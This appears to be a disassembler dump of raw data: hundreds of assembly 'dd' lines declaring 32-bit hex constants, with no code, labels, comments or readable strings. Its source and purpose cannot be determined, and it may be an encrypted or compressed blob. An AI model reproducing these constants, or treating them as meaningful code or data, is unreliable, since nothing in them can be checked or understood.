dd 996B92FDh, 6527004Ah, 0F75773EDh, 61005D8Bh, 6A15E9AFh
dd 1E205556h, 0C77FBD16h, 0B431CEh, 695B5C62h, 35CDF900h
dd 3BFBFA4Ah, 665900B9h, 17E02BD8h, 701D2851h, 0C3801657h
dd 13FA2591h, 0B75E26AAh, 35C1005Fh, 6D7B3E0h, 39515937h
dd 0E4D45C80h, 728A1CD1h, 0F06EDCh, 4529FF2Dh, 36071999h
dd 57796E6Bh, 2FECD3h, 0D9E77B38h, 0BCB9E33Fh, 0B40C5C03h
dd 0EF83D7h, 0FCF82B60h, 0C7311F3Eh, 2E0362FCh, 0E636D264h
dd 0EF10B8B7h, 0AF653CA3h, 49DDA481h, 810EC7CEh, 0F9C87F91h
dd 40C07814h, 0A7880090h, 0F560220Ah, 0A9EEAC8Bh, 5DF1CE00h
dd 2A216D74h, 4675803Ch, 0CBF05681h, 0D4A800A9h, 6A3B54C0h
dd 65006985h, 0E4BC4EBFh, 3FC149h, 0DD7E5274h, 322FE633h
dd 0C0D99902h, 0A3405FA5h, 58494h, 0AAD2BD8h, 2AFB7D32h
dd 7FCD3D00h, 3FEEF9B2h, 487A0642h, 0C1D922FFh, 58C060F7h
dd 0B80028FAh, 0DAB59E7h, 30ACD9BFh, 0E050B25Ch, 3E6063A2h
dd 4BF5E469h, 6770C6Eh, 8A49DC05h, 0C4769EFAh, 6A5EE300h
dd 7FBAAFB2h, 2F410026h, 0EFF38516h, 7500D712h, 84A996DAh
dd 79CCE3D5h, 0B5170142h, 34E2FCA1h, 0F0F7D08Bh, 3A71ED00h
dd 0C9D483BCh, 3FA13D82h, 0F728EF30h, 0AF008E90h, 586726DCh
dd 0CD5435C8h, 0F8212108h, 3D0EBF16h, 80F3811Eh, 0DD4C7B03h
dd 617761B4h, 0E0D99DA1h, 11C0FA45h, 1E4ED49Ch, 28D67CC7h
dd 0E0CF920h, 9DE145E3h, 17043B60h, 0F3E8B58Ch, 0D520F660h
dd 0BBCC72h, 73BEB2B8h, 0AA71C4EFh, 115490FEh, 8200DA14h
dd 54AF7380h, 6C066h, 0C88D65FEh, 0CC080F24h, 0D92FFA0Ch
dd 16B579D6h, 394682Ah, 3ED8B3A1h, 0E51D1688h, 0E1055201h
dd 913AE2F8h, 70A2D186h, 0E8F0381Bh, 6E84E954h, 0B1E52500h
dd 86EED655h, 56440FFBh, 74CC6C7Ch, 0F300FC99h, 0CC572427h
dd 1C52E1BAh, 40B4FA7Ah, 0C6B35DF8h, 0B901650Ch, 9B025E88h
dd 398019B1h, 28E1A7F7h, 707A6922h, 14F80E00h, 938B2B97h
dd 0F77B0C15h, 0A7D1FD63h, 9B22911Dh, 0A0372806h, 75E215B9h
dd 0B400EC8Fh, 54050A5Eh, 88580417h, 75CD0C58h, 6A71C7h
dd 55326296h, 52B31CBFh, 0FAC8300h, 416C4286h, 61080453h
dd 91AE4ABBh, 8A8CC31Ch, 0FC7B0780h, 0C17D0448h, 51A82675h
dd 926AF0h, 929DCD88h, 18333C48h, 0DBF40880h, 0E8FBF950h
dd 774C7148h, 0F6E870Ch, 40072892h, 6038FC16h, 256A87A9h
dd 0DAD01D2Fh, 37C8D2h, 0E642B90Ch, 0F60870BBh, 0C5FD2C03h
dd 8813A78Eh, 9FAB99h, 0B69AB79Bh, 79CE1458h, 7892C800h
dd 0D22DA102h, 0E6E7EB8h, 0EC5EDE4Bh, 5A3FB261h, 4D8FF031h
dd 0E0D3A51Eh, 50002C24h, 0DF4CBD30h, 0F3A00027h, 84718E86h
dd 100A20Bh, 96119D93h, 0E06EE05Dh, 9748C07Bh, 2604B9C2h
dd 68FA590Fh, 0B44180AEh, 0F6408Ah, 6C8FA843h, 8479C08Dh
dd 39037E00h, 349FCCCAh, 88DC01B1h, 0ABFEE48Ch, 92BE606Eh
dd 0EE822E00h, 1793027Eh, 0ECA91428h, 4F008FD7h, 6D1F52FCh
dd 0D306A2DFh, 0DC47048Bh, 0AC7C03E8h, 0F140C59Dh, 81E510D1h
dd 0BE6F4F19h, 18F8DEF4h, 0B1520096h, 9A3BF70h, 5A0084A0h
dd 0E7CA48A9h, 30D0F5h, 50972F98h, 6F7B28FDh, 2214F61Ch
dd 0F2F863C7h, 86EC7AA0h, 90D324A4h, 8A07BE08h, 0C11B6410h
dd 0F4C3429Ah, 0F0075B3Fh, 0EEFD6DC4h, 0F1D8C0BEh, 1E37E8Ah
dd 0A6BF4167h, 24D2837Fh, 25F0E5FCh, 718D71C3h, 1884C0ACh
dd 0B53F0004h, 874EB61Bh, 0ABFE82ADh, 3EE54600h, 2C476D52h
dd 22E006A9h, 4A6FFF4Bh, 0F2F04A00h, 1B68ED7Ah, 450509C6h
dd 2A074F9Bh, 28170D4h, 0D31F1444h, 90005DD5h, 0A7D223CEh
dd 9F56079Ch, 30328FB0h, 0EA49D688h, 4DC65900h, 4147F684h
dd 0C4B901A1h, 0EFB27A48h, 3D88243Ah, 7C27AA00h, 0FCE69E3Bh
dd 245F006Dh, 4932B79Ch, 0D0C49FFDh, 5C808961h, 29AA9A0Ah
dd 61B8B37Eh, 0FC2913ACh, 68744EBDh, 0AFFE7203h, 0E112DF7Dh
dd 5064A523h, 141EE0FFh, 0B4EF779Ch, 0FE075CD4h, 0A7B629ECh
dd 0C875B0E4h, 3503DC64h, 0C1668805h, 134000BCh, 0AA31D44Ah
dd 5F0A9AB4h, 0BC65DFF8h, 93F9F81h, 0CE0FE88h, 0FD260A16h
dd 80AC3DA8h, 0F687E30Ah, 10008B6Ah, 18241512h, 3BA9A19h
dd 8128A3FEh, 58D0CE4Dh, 890E4654h, 7CDB760h, 0D0730F79h
dd 0DB690091h, 220EDF0Bh, 88C0E10Ch, 7EEFFF10h, 2D401C7Ah
dd 48490020h, 0C8AF369Eh, 845E663Ah, 6F877DB5h, 2A793880h
dd 3E54FE05h, 128070ADh, 8930FEA2h, 58938AE4h, 0EB8CC490h
dd 0B5388B31h, 2B007FE9h, 0ACF2976Dh, 0F679DA78h, 1474F7h
dd 5815AD9Bh, 3825A870h, 67AFCC00h, 0DCC26A69h, 0B1FD00E6h
dd 0D2CFD60Ah, 0BC020779h, 0F22A9471h, 0DE09407Dh, 605D129Ah
dd 3A7470D0h, 3200899Bh, 0CA084772h, 1B5F1F7h, 535BDA4Ah
dd 85314491h, 35885699h, 3F10E427h, 60963EC6h, 0BD11A1F6h
dd 59596661h, 0FF58155Ch, 39DB02B4h, 0A04103C6h, 0AD4DA8DCh
dd 26BA007Fh, 0F9018F9Eh, 6609CE3h, 0D3440568h, 244E3BC8h
dd 455CE78Eh, 0EB4B660h, 84009D9Fh, 0F10A7881h, 0E80C1DEh
dd 0CB420277h, 905BBEE4h, 99705F14h, 80318928h, 2AED9E03h
dd 0E858C7F3h, 3334BD5Bh, 50D9FC13h, 81E0AA9Bh, 110B8E35h
dd 25627DA2h, 0AC000930h, 0DA86465Dh, 442F0101h, 31C1FB21h
dd 1033F7h, 0FD86347Eh, 0EBBA52h, 11361E15h, 304DD06Fh
dd 7995C013h, 0D78ED460h, 185C90F7h, 0A981553Bh, 0D90A9B6Bh
dd 0FC77BF36h, 0F68CDE00h, 7D7EE229h, 0A96B28C0h, 0B0B552FAh
dd 51CFBC52h, 16E882E0h, 5324CBBDh, 860C67E7h, 996A85Ch
dd 662F38FBh, 0F801C832h, 4005A29Fh, 40EA5C88h, 0C7AB2712h
dd 75E37405h, 0ADF64C0h, 2D810198h, 0B6E59CC2h, 9630810Ch
dd 0E49AF2C7h, 4D86A8Fh, 3AF1403Fh, 0CE1DB00Eh, 0CF2B1C00h
dd 77DD3DB7h, 6AE9864h, 0A7AFD82Ch, 6B04A239h, 3A0CF57Fh
dd 1BE50C87h, 0C46AEB00h, 6E9467h, 84A770F9h, 0CB46A258h
dd 28981B50h, 0D19CE700h, 23ED1F4Ch, 0DD72E1h, 2CB0B682h
dd 0A64A93BDh, 0F281C900h, 2F4BD9F4h, 0FF54006Dh, 3801567h
dd 24CED19h, 0BFA301B8h, 0AF2C23A4h, 0FF70F8h, 0D73DA2BAh
dd 75B0CF60h, 0E7975B1Dh, 37CCF500h, 117A42Eh, 8216FBA7h
dd 741CBDD6h, 9CA4654Ch
dd 109224F0h, 679B6800h, 0E69878E5h, 1C49FCF1h, 0CE0735D6h
dd 50929654h, 0FA00DE70h, 7D12400Ch, 290E9E4Ch, 6098013Bh
dd 9B7C543Ah, 0D146009Ch, 8085CA0Ch, 72006FAAh, 0A790E353h
dd 30420ACh, 325D82EDh, 57F0B05Ah, 97009AE9h, 3C84EE33h
dd 225F2Eh, 2B4DE61Dh, 0DC685DC1h, 4772509h, 0D6F4279Dh
dd 6C167290h, 0CCDF26A5h, 9C9658h, 0B91C0DB0h, 448A91Dh
dd 0B55B0000h, 857A0133h, 690E24EFh, 93EA8324h, 23889A8Ch
dd 0AE006031h, 45B94666h, 26504C78h, 0D85503h, 90F29F1Eh
dd 14148404h, 0A4F802h, 4427E458h, 1319A7A8h, 4089A253h
dd 67182110h, 3000EE73h, 57B10E22h, 23FCA9Eh, 409BCDF5h
dd 0B0505BD1h, 77ACD407h, 0A380791Bh, 1F98746Eh, 3FC28D9h
dd 0BD3BA9E2h, 428B46A8h, 7A34FA00h, 3258A654h, 0E45C1FC0h
dd 4A120291h, 78C42526h, 1B069D04h, 80650C99h, 355D8E2Ch
dd 0B5479216h, 6A274000h, 0FC3BAA9Bh, 96D200F2h, 0C2F0888Bh
dd 0CF586385h, 34986384h, 0C70C8972h, 31C2B450h, 6DAA2C7Fh
dd 0F663C00Ch, 0D7F55BDh, 3F8C658h, 9139B26Ah, 7F0890E9h
dd 0CF010462h, 801B3CCCh, 0AC6BE759h, 0F0B2A97Dh, 96161200h
dd 8CBD525Ah, 6ACE04B6h, 0C00682D3h, 3C694E24h, 0B3A6DF00h
dd 86FAA59Ah, 0A2B70108h, 0ABD6309Dh, 565F8E4h, 2E399700h
dd 4A2189A7h, 889D0AA3h, 1DDCFA3Bh, 36C8C0E1h, 1D5444D9h
dd 0DCF4F901h, 26AA17D3h, 9D80AC72h, 7DF02865h, 8BD6563Ah
dd 0A9AFCAE6h, 132C80CCh, 0C30F9Dh, 4DC8CC26h, 0B7116E29h
dd 0CF7053E8h, 5FCB0701h, 14662EDDh, 213C024h, 69FE2AADh
dd 0B0C43153h, 88611000h, 6481CC77h, 3D209836h, 205C82F9h
dd 9A16B200h, 0B02E3129h, 0B5005490h, 0EA0209C0h, 23DD0Ch
dd 9C384812h, 0F85E411h, 5300E277h, 71C8505Bh, 0FDD4BAh
dd 5CF3F8D7h, 9C95EA6Fh, 15D05E1Dh, 85C74Bh, 0D2E2D1D4h
dd 0DF4200B1h, 1E36BF4Fh, 72071D4Eh, 30CEFF9Ch, 6990003Bh
dd 38B2221h, 0B459144Ah, 70A0314Ch, 0DD006EBFh, 0A3080485h
dd 0A8EB4E5Ah, 50164AA4h, 4963DCA7h, 9E181814h, 668FE905h
dd 1D595107h, 0A1C0AF50h, 92F48118h, 5D7B30D4h, 0E13A3D28h
dd 0FA46B502h, 606613C4h, 9D9C92h, 0D32651F9h, 0E1413E29h
dd 3F9E4B07h, 19E032C2h, 8FB803h, 5A985851h, 42B2C33Bh
dd 0ED28E90Fh, 5580FE21h, 0EFD56990h, 0CC90A6h, 0E77FBB06h
dd 270D4377h, 8F019371h, 1F951825h, 0BEC02813h, 0F4B20063h
dd 2C5BE951h, 370015C0h, 0EDE83CFFh, 3DF3AA8Eh, 4100D59Eh
dd 8F73DCD2h, 22E8C780h, 7C0C24Dh, 32A8EDA3h, 0CC6880BBh
dd 58693C34h, 0F101103Fh, 0C3EA914Eh, 66EBFCB8h, 2A22DB00h
dd 0AF4C5C72h, 0BCAC0075h, 0BD38BE9Ch, 2801350Ch, 83123694h
dd 3870083Dh, 0C9D8007Dh, 4CE4151Ch, 9A00B2B7h, 97AFBE50h
dd 340B43Bh, 326A49F1h, 0B2B84FC1h, 0CA00564Bh, 0FB2CF9E3h
dd 1D4E5722h, 0C0BF9BFFh, 5E55DE64h, 0F50E6712h, 60B0549Ch
dd 61533DE1h, 59C0005Ah, 85C9FC5Bh, 4200CE34h, 1E939170h
dd 1E1B687Fh, 80F1522Fh, 2CD1B8FBh, 9C00B6F2h, 0FD110AB9h
dd 24808E74h, 0C57991h, 0F7932C97h, 0A600882Fh, 0D424CF70h
dd 0B91913h, 57E44CBAh, 5DDFCACDh, 0CC0E6600h, 180A3D89h
dd 0A4860EA2h, 0D9C17DD4h, 607448E6h, 0B30034FCh, 6A71097Bh
dd 55CEDAFh, 50C660A3h, 0D23C8201h, 29ADC4E0h, 8F19500h
dd 180BFCA4h, 1F31003Ch, 8CC7376Dh, 0C5070F04h, 8F70340Ah
dd 0CC539B80h, 0CF5200C2h, 3A9247B4h, 4E0022E5h, 21D2B1ADh
dd 3A360FAh, 0AEA7E3ECh, 490E73Ch, 0A92F66BAh, 0F8C56307h
dd 93951Ch, 6E16BD59h, 0AE3E7EB2h, 751E101Dh, 1FA70880h
dd 0ABFB32h, 0E84A5E39h, 0E4690FF4h, 0A0005298h, 0D5650D82h
dd 0EECF3E01h, 0B92D009Eh, 6DE2FA7Fh, 7E009CA8h, 0BE086758h
dd 49677E6h, 2880220Fh, 20B8A054h, 1D95D5A0h, 8F2D4E7h
dd 7E777600h, 43E8077Ah, 0DDD700EAh, 0C8D062EFh, 0D2E0615Fh
dd 0C5ED7101h, 367CC2F3h, 3A089060h, 0BD8C5628h, 3E886A51h
dd 0AC01BC75h, 8D5E154Dh, 28289041h, 63666500h, 0E1A30671h
dd 95D0760Eh, 0C9BDA219h, 0D9B0816Ch, 0DACC6D21h, 0DFF8006Fh
dd 4E8E717Eh, 0B3002806h, 0E8E73D2Eh, 0B60E38A3h, 0F0808248h
dd 51E09308h, 90001B1h, 0BC72DD95h, 0E24DDFh, 54ADFC2Eh
dd 675D120Ah, 0F2A98F00h, 7B0C9D27h, 716C008Dh, 701A23Ch
dd 0D0E4B0D5h, 0DEE42650h, 0A901A798h, 5147813Ah, 64F05CFFh
dd 7E9855h, 60353FAAh, 0A11B8F03h, 1EB81400h, 0D84ADED1h
dd 0B10B00B7h, 95E09272h, 3F2C99A2h, 521DD0B5h, 90F09C00h
dd 5FD02Dh, 55E7D8E8h, 4A8EBDEFh, 8501A578h, 262DD9EEh
dd 0E9D4B50Ah, 0D2F40030h, 0E515BD7Eh, 0B6A1ED92h, 802EC88Ch
dd 0B70030E4h, 8ECFA00Fh, 1209A5h, 0CE2A51EAh, 3D0444B6h
dd 0BB008170h, 1ED6E098h, 262E705Dh, 3D7164h, 0C5F5DA60h
dd 0A8004286h, 8024D18Ah, 0BA44B9h, 4FAA6716h, 14DFE36h
dd 72A5931Eh, 0DDC72D40h, 0EB7637h, 5EEE60B2h, 97D102E4h
dd 666F839h, 8C1B265Ch, 9C91004Ah, 0C546ACBh, 0D5008D67h
dd 52428188h, 0B6D161h, 0D333201Eh, 7B1A9728h, 0B54E3409h
dd 1F1C0064h, 0B04C81EFh, 48F4E28h, 0C7BFD744h, 8906B00Ch
dd 0AF00945Bh, 4B695957h, 90A7CC5h, 9F0AA6Fh, 299F4201h
dd 0E812C06Ch, 93D9D705h, 0D093F4C9h, 0B621A06Fh, 0C1DB0088h
dd 54BF3858h, 0A31CAEA8h, 135D9AD4h, 0F8F98B81h, 7CECF10Bh
dd 82844CA0h, 0B7C84900h, 0E73E993Dh, 74CA87Ah, 9C682E79h
dd 58946D00h, 0BCCE9611h, 256F8054h, 0EBF80ABCh, 557EE403h
dd 0C50F702Ah, 7221008h, 6EE4EAD0h, 1788EC01h, 24687012h
dd 35280878h, 5500180Ch, 0B6485CC9h, 0F09FEDDCh, 73D906ECh
dd 20B57DCEh, 305AB132h, 1F7078EBh, 0D64CD2F7h, 0E9400C1h
dd 3E2282EAh, 64DA920Ch, 0FD59D4h, 4BAD7006h, 577356C8h
dd 0E5CB5300h, 8A527766h, 0B871A3h, 0BCD16F8Eh, 0F71B9F04h
dd 561F0800h, 0F4EFCF3Dh, 0F5B903D4h, 845085C1h, 0FBF911C0h
dd 13F1F601h, 8CC4EEBFh, 0D1FFF86Ch, 6FA0BF04h, 0F8014177h
dd 0E2FD9FEFh, 0D4241F3Ah, 0E43F1781h, 5280D069h, 0BB6077F3h
dd 0C20C1639h, 6CC40738h, 70B74ABAh, 0A2AFC9F0h, 0EDA97A18h
dd 0A326E228h, 0CD78E138h, 20EF7992h, 0D89601C4h, 44F4209h
dd 1F34C00Eh, 1E513CF3h, 0E639375Ch, 8E6BF900h, 0EE7250E9h
dd 1BC52200h, 0E5D6CD1Eh, 0D54E3C4Bh, 3B733407h, 9FFCF16h
dd 9450DCB4h, 3C2133Ch, 518783D7h, 0DB4DF8B1h, 857F0015h
dd 0F36CB3C9h, 0D0F7E5A3h, 99DFB660h, 0E075DC03h, 361000EEh
dd 0DE05BE7Eh, 11CB02Ch, 3040B5D6h, 6485DDE0h, 0A2B60C0Fh
dd 8731C37Dh, 9D0E7BFAh, 8181BFE3h, 3822DDD2h, 81461FEh
dd 0DCD0E983h, 790B6A0h, 19798123h, 0C0483B00h, 2E3E4F4Eh
dd 0FCDE0131h, 7AB5A264h, 17DC4874h, 43DCE30Fh, 0F8E56012h
dd 0E9EED270h, 8A05783Dh, 801ADCECh, 0BF1B7781h, 47AB8902h
dd 5445EDE3h, 0D9C48174h, 0E493D66Eh, 9D50AFEEh, 0E4030C98h
dd 65CD2B08h, 69F2C0D9h, 0A6C801CEh, 20B4D7FBh, 7C4180FFh
dd 6CF8DD5Bh, 78150E30h, 9F419979h, 50A7E8FAh, 0AD9D0A4h
dd 0A2622802h, 606DEAC7h, 45F50F6h, 0CDDAFC90h, 0C110909Ch
dd 0E3143844h, 2A942022h
dd 0B560980Ch, 354B4AB1h, 867458h, 89ED366Ch, 8481DEF8h
dd 6B348D00h, 8B3B0EC4h, 0B6F73E0Dh, 7009560Eh, 6ECC1600h
dd 0CE009D9Ch, 0F5D4B331h, 14F691B6h, 68F3DFF9h, 30805C3Bh
dd 0B8B95583h, 18927EC5h, 2F211867h, 0C77030A7h, 7995FC32h
dd 7BFA00E7h, 0EDA7E086h, 360068DFh, 15BA27D5h, 163B359h
dd 0DB4C241Ah, 510922B4h, 570475FCh, 0AFE390D4h, 700AA93h
dd 57C09CBDh, 2E88E78h, 0E1EA7D5Ah, 0C28491BFh, 0D84C89EEh
dd 0A2002165h, 0AEA94468h, 24F8CCAFh, 6E64609Ah, 66780692h
dd 749A08DCh, 0B2DF142Eh, 0D1D5040Ch, 0C7E903FDh, 5565361h
dd 4CA02483h, 0F400B4E3h, 4A71EDB6h, 97FA6D3Ah, 0F24D6C02h
dd 8AF5418h, 59B726DEh, 75401764h, 0CBE5AF7Ch, 0B9864300h
dd 0E1316B55h, 2092456Eh, 0B422E030h, 98A14845h, 10A02714h
dd 99037C00h, 4D9644Ch, 0FA2ACB0Ah, 0E1C0D8E5h, 0E4556930h
dd 0C5486B1h, 87003DB4h, 49FEF229h, 19A81EEh, 0F5B32D79h
dd 809406D6h, 0BD180A69h, 0EBD4A5h, 0CC6EA3A6h, 494F6D36h
dd 9FE9E612h, 1A3141Fh, 55672FB3h, 273C48D9h, 803B21CFh
dd 73FABE30h, 0E9650F6Eh, 78E08751h, 9C7B973Dh, 111528F6h
dd 0A88C75h, 0D596BAD8h, 592E01h, 0F228D99Ch, 0E512799Dh
dd 63178D02h, 44EEC47Ah, 0B6BC01ACh, 938F4E47h, 9403D429h
dd 0E0507929h, 0C424B8A4h, 119E6F62h, 40C0870h, 8C2F3C3Bh
dd 0F1C0CCB5h, 9C760500h, 98C86FD7h, 0AB2500C0h, 0F8145F8Fh
dd 0B5151518h, 5860CB03h, 621D0079h, 4830D79Ah, 233B0C0Fh
dd 7A88F701h, 0EF71216Fh, 0C4891806h, 24E739DBh, 5759CC00h
dd 0C3939BAFh, 0A4D47448h, 4880ACACh, 962F67F9h, 90BEC501h
dd 0B6B96B93h, 9EB5E0h, 3610539Bh, 9A33E39Ch, 0CF1E69C1h
dd 9C502CEEh, 2BC0195h, 5E173297h, 5CC0C770h, 6E01884Fh
dd 2DD2B263h, 0D9E46C37h, 4AA180F8h, 0AEA43628h, 0D806DB2Eh
dd 0B36B4740h, 0CB70001Dh, 61346A05h, 29792BC8h, 0D10B99F0h
dd 4ED939Ah, 0A540E324h, 65092876h, 4B271F00h, 828D7F77h
dd 739A24C1h, 7BE500D8h, 9FB5F585h, 43A9F004h, 8829210h
dd 50B0405Fh, 0EECC181Eh, 4226D1B4h, 0FE479B0Fh, 3D5C8048h
dd 2822DB72h, 90B81E15h, 419A0908h, 0C829EB8h, 800969E0h
dd 15CD3E98h, 90B49A24h, 3CE42434h, 0BF114C14h, 0E364831Dh
dd 9B213122h, 30EDA221h, 0EE2CF87Dh, 74A684DCh, 0CF38307h
dd 60CDA1ECh, 5DAF3195h, 4B070398h, 9449093Ah, 534C5140h
dd 14F648FFh, 0E445793Ah, 0DB2E4F69h, 0A9034CBEh, 0F4D95F53h
dd 79E1A100h, 990315DDh, 0ED7FEEFFh, 56A6F085h, 0B5732E4Ah
dd 79B30944h, 0C5756810h, 0FF3FC0A8h, 3E89C71Fh, 30693CC1h
dd 0B1CBAD37h, 346472CDh, 69F16E04h, 0CA583B00h, 0B400245Eh
dd 8512E18Fh, 339BD0EBh, 0BF31F907h, 0E5DB2093h, 0B1892CF0h
dd 0CE00A9EAh, 1687D7E3h, 0B072777Fh, 0E0A397FCh, 33E07315h
dd 50719214h, 0AD044B1h, 0DB0686F8h, 0CE085058h, 1DE61D89h
dd 573BC038h, 0B81B0C09h, 0A1815509h, 8148D94Ch, 26E1AF69h
dd 882B185Fh, 0AF7791B0h, 1A463D1Ah, 8C747428h, 7DA1D704h
dd 580C3B00h, 8898D934h, 3DDE05D8h, 40A67580h, 4E7750FCh
dd 23005EE2h, 924005D9h, 78542718h, 0A151C0C1h, 0D1087966h
dd 0B50A117Fh, 545639CAh, 4C626F09h, 3948654Ch, 8298004Bh
dd 0EF9AA3A2h, 0D2F8BC50h, 797E220Fh, 0CFBC01Bh, 98993B98h
dd 0BB4B096Ch, 0DC27C8F4h, 0EB388CDFh, 714D10EDh, 0AED61E93h
dd 8DF05D5h, 5224036Eh, 0C0CC6699h, 38078364h, 18918C29h
dd 58A56900h, 27212E67h, 0C880CDC5h, 7D61C17Bh, 97BD1900h
dd 0B07AE239h, 0A2450093h, 0E97BE8B4h, 962E8678h, 0E17ACBCh
dd 68003FE8h, 0DC36E1C0h, 0D4049E04h, 0FA2B700Ch, 28919083h
dd 0C09227B8h, 7ABC94B8h, 9CA1E0D5h, 0A00710F0h, 0F98A24BBh
dd 876C43D4h, 0BEE21000h, 0A981EF91h, 0AB7D0041h, 0ED1511FAh
dd 340E5B57h, 0E3A57627h, 3ECB749Fh, 0F6011951h, 6BD40DEEh
dd 0D0E0E687h, 0C0650671h, 0B0176DB8h, 0DCD24C30h, 42110866h
dd 1A44F9B4h, 0DCDEB540h, 8D13C6B7h, 8C207454h, 389C4820h
dd 7FBDC95Bh, 0AF2FB187h, 6A8B10BEh, 4D283A55h, 0E0FCD8A7h
dd 80F0796Ch, 8AD717FFh, 8FFC09FCh, 79CA24A0h, 20D05532h
dd 28D7044Ch, 28913D26h, 402D11F3h, 7D776D06h, 9D0518F4h
dd 5D474C53h, 0FC73F802h, 815051C4h, 22D93842h, 88D01810h
dd 35094960h, 937418D8h, 73248838h, 1DA80731h, 812F50E3h
dd 3018C3B8h, 697881E4h, 4ED7A8C0h, 60EC576Ch, 788799B3h
dd 4939207Dh, 0E75B807Ch, 0AE117FE2h, 79F7EC4Bh, 0A85A6269h
dd 1E40A367h, 0D4BAF0C1h, 81ED4E21h, 26DFAF83h, 402C3F8Fh
dd 0BF4B00AAh, 61793023h, 0ECA45CAEh, 4189F21Fh, 0F6825064h
dd 6045A8F3h, 966EA0h, 0E10363F8h, 0A20ACC5Ah, 33C6C000h
dd 181A5882h, 6CDB031Bh, 93D85297h, 0E96032EAh, 9000E601h
dd 57184572h, 874384h, 0AD736FFAh, 0B0176B1Eh, 71D9500h
dd 131FBAC1h, 0A570009Dh, 0B19B080Fh, 0F7003754h, 0AC8FCEF1h
dd 5C8612h, 41746002h, 420D2C73h, 28361E00h, 308A954Ch
dd 6BA10044h, 8B2761A8h, 4A07CE58h, 5C1B452Eh, 8922EE70h
dd 2A74E6h, 1A83D904h, 323AA598h, 8CEBBD07h, 9EDFE7BEh
dd 9CD8AC40h, 8ADCABh, 0B67F3C80h, 2FF8EBD0h, 85784AF8h
dd 0F9785F7Ch, 0C3E8081Ch, 0FE128F80h, 745AA5D9h, 38A901ABh
dd 3A8E910Dh, 8B9CF003h, 502F3030h, 0F884C12Bh, 266F01FEh
dd 0A53165F2h, 53E6C88Ch, 6EC7803h, 16B7CB6h, 33771318h
dd 0F3F83C90h, 32C0BDAAh, 0A4F03A5Fh, 591A2618h, 0ACCA28h
dd 483BA999h, 5EB6D607h, 0B9C718C3h, 0A0D868D7h, 85B6004h
dd 7207A44Ah, 0B68B3FC1h, 97061A33h, 0B0FAFCC0h, 0A64E3127h
dd 0F440B548h, 5B14BB0Ah, 0C8C8B4Dh, 30167046h, 39E7F80Eh
dd 0B580B882h, 0C2E0A247h, 67EE8323h, 32ADDE02h, 812672F8h
dd 0CAAFBD28h, 0C0D91994h, 8B99FD30h, 3E612A15h, 7604B2A9h
dd 0F8B16058h, 9B701C6h, 27AF06FCh, 13598266h, 8AC4B67h
dd 6F2E0090h, 8EE98363h, 0B2B9620Ah, 2B024877h, 91813AA7h
dd 8458267Ch, 793B6F4Ch, 5A461DDFh, 84041817h, 0BB620F4h
dd 208923Dh, 27B138E6h, 4884A518h, 3008683Ah, 0B94958BBh
dd 0EF61FE74h, 0DCAD3939h, 0E056F443h, 3003AFB8h, 8813514h
dd 31195215h, 8C31F1B6h, 36384C4h, 809269B2h, 59392DC3h
dd 1F1C50F9h, 0D8CBBB01h, 994FB2C2h, 54729981h, 80E5873Ah
dd 3E649A11h, 1D27318Ch, 0AA880665h, 143BE2BCh, 0F42F6B05h
dd 0FDC0D800h, 0E99C102Bh, 800C99F0h, 116E7739h, 85330BB8h
dd 8D0065FFh, 0E825EB81h, 41347751h, 10A52330h, 64D74B2h
dd 0DE82C3B3h, 78C719EBh, 774244A9h, 1800482Eh, 57CC1B2Bh
dd 8BA39910h, 9342A10Fh, 0A99B64CAh, 0C308BC80h, 84175032h
dd 0A4233A79h, 3DF4813Fh, 287C0B5h, 31747E42h, 9560723Ah
dd 0F1405861h, 0F8B45196h, 5403368h, 35E99BB8h, 206ED624h
dd 0ABAC380h, 49E7F41Ah, 50CC87Eh, 2217D88h, 101454ABh
dd 22BC7B53h, 6386138Dh, 0B550062Fh, 1A184082h, 0C5309CBEh
dd 4A2724AEh, 77BF8180h, 113D8266h, 0C409FACh, 883A607Eh
dd 30849EA7h, 0D230806Eh, 56035B85h, 82541C1Dh, 0C4E0D729h
dd 0B1D776h, 778394E7h
dd 24E61945h, 0D4B4C503h, 0A0BD74FBh, 0C1FD41h, 0CD27E573h
dd 9AC93DC2h, 9CB5DE02h, 41E7A51Ah, 0F18F791Ch, 9A09F7A3h
dd 4B8E810h, 80652B15h, 0A522E8h, 4A7F4F17h, 3E830EBBh
dd 0B4212624h, 72391D3Bh, 5F8FA466h, 908009A3h, 48445874h
dd 5401CAE0h, 0A10DC04h, 0C5508125h, 0AE285CA4h, 481AAC30h
dd 8F0E4492h, 87E0FB5Ah, 0B02026B3h, 4E381E03h, 0CBCB8369h
dd 0F959001Ch, 0B0107ABFh, 0F11C5EA0h, 30BAD758h, 97AC21A1h
dd 93B2007Ah, 5776ED2Bh, 2C22E442h, 99480315h, 0AB09FCEFh
dd 7D015405h, 0C800D643h, 0A52E34A0h, 5CFE13F0h, 5A3C212Bh
dd 0BCBEC80Ah, 978D9E03h, 0A38A3767h, 0FB210020h, 346B5B47h
dd 0E2B8D286h, 9489FA07h, 0A9410EC6h, 0A0D6473Ah, 0E063D9ACh
dd 0A5E01C3h, 20852F2h, 780898FAh, 0C9E671h, 169C13B9h
dd 0EC3DDF83h, 43409202h, 408F27F8h, 0B01C1439h, 68057764h
dd 7AC59A6h, 0A486A3E9h, 0D0D4D794h, 0F64F69E8h, 18337200h
dd 8D79A525h, 0C7C80138h, 2B178BC2h, 0BEC98F3Dh, 0A7A94FC1h
dd 57B7B146h, 3003AF05h, 2402BC8Ch, 82CD559h, 1C3CCEEDh
dd 0C3063027h, 9808D0h, 0CB7A7DFEh, 0A3437209h, 2CED912Ch
dd 0D177B684h, 0E00E2083h, 0A62714h, 0BCCCB53Ch, 7E3E848Fh
dd 2303449h, 0B1C907AEh, 0F4209C6Fh, 7E028C4Eh, 4AD789E2h
dd 0EBC8253h, 0C4C31911h, 0FA460A5Fh, 0F7FE7F22h, 0FF30B907h
dd 0A680E8B8h, 385CD5F3h, 65018C94h, 0AEC2B333h, 144AE6FFh
dd 0FC6F1061h, 8CA8F6BDh, 0D22C4698h, 1A0748BBh, 0C530058Dh
dd 0B8EE8529h, 0F4BC135Ch, 9A740843h, 8C24F4B9h, 0BE607025h
dd 46B0D57Ah, 0A022A8h, 3E7A95EFh, 68992190h, 0BA8C1B0Ch
dd 632B81FFh, 1A93292Fh, 0FA161DB8h, 0B8116D30h, 801B3F21h
dd 5B522575h, 0C87850FCh, 0D6392C43h, 3EBCBA04h, 200B328Ah
dd 0E55A0CA7h, 339E461Eh, 0A9148412h, 8C54E874h, 5E1EDCA0h
dd 74233E05h, 0EC0E67F9h, 0AC119312h, 28220168h, 0B60CD24Eh
